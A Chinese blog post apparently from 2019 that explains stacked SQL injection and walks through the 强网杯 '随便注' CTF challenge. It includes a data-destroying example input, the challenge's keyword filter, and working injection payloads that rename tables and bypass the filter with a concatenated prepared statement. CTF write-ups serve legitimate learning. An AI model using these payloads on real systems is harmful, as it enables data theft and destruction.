堆叠注入的简单学习

web ctf

字数统计: 668阅读时长: 2 min

 2019/11/04   Share

做题目时遇到的，虽然比较简单，但还是做一次记录

堆叠注入

原理

在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。

联合注入是使用联合查询，在同一个语句内执行多个操作，堆叠注入是在输入的内容中加入分号结束一个语句并执行下一个语句。

例如

用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到API或者数据库引擎不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

在我们的web系统中，因为代码通常只返回一个查询结果，因此，堆叠注入第二个语句产生错误或者结果只能被忽略，我们在前端界面是无法看到返回结果的。因此，在读取数据时，我们建议使用union（联合）注入。同时在使用堆叠注入之前，我们也是需要知道一些数据库相关信息的，例如表名，列名等信息。

强网杯随便注

先确认是否存在注入

输入1 返回正常
输入1' 报错
输入1‘# 返回正常
输入1' union select 1,2 #
回显过滤规则
return 

preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入

1';show databases;
显示数据库
1';show tables; #
显示表
1'; show columns from 表名; #
以数字为表名在查询的时候需要加上反引号``
查看到flag字段

在show tables时看到两个表，因为没有显示flag所以显示的words表，所以这个题目的思路是修改words表的名字然后把有flag的表修改为words

1	1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

不过在buuctf复现的题目中好像不能使用这个方法了

最后使用大佬的预编译绕过

1	1';Set @sqll=concat('sel','ect * from `1919810931114514`');Prepare presql from @sqll;execute presql;deallocate Prepare presql;#

原文作者：JiangNiao

原文链接：https://github.com/Jiang-Niao/Jiang-Niao.github.io/2019/11/04/%E5%A0%86%E5%8F%A0%E6%B3%A8%E5%85%A5/

发表日期：November 4th 2019, 8:03:58 pm

更新日期：March 31st 2020, 1:16:35 pm

Next Post

UNCTF的赛后复现
Previous Post

初识RSA （持续更新）

CATALOG

1. 堆叠注入



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true

堆叠注入的简单学习

堆叠注入

原理

局限性

强网杯 随便注

强网杯随便注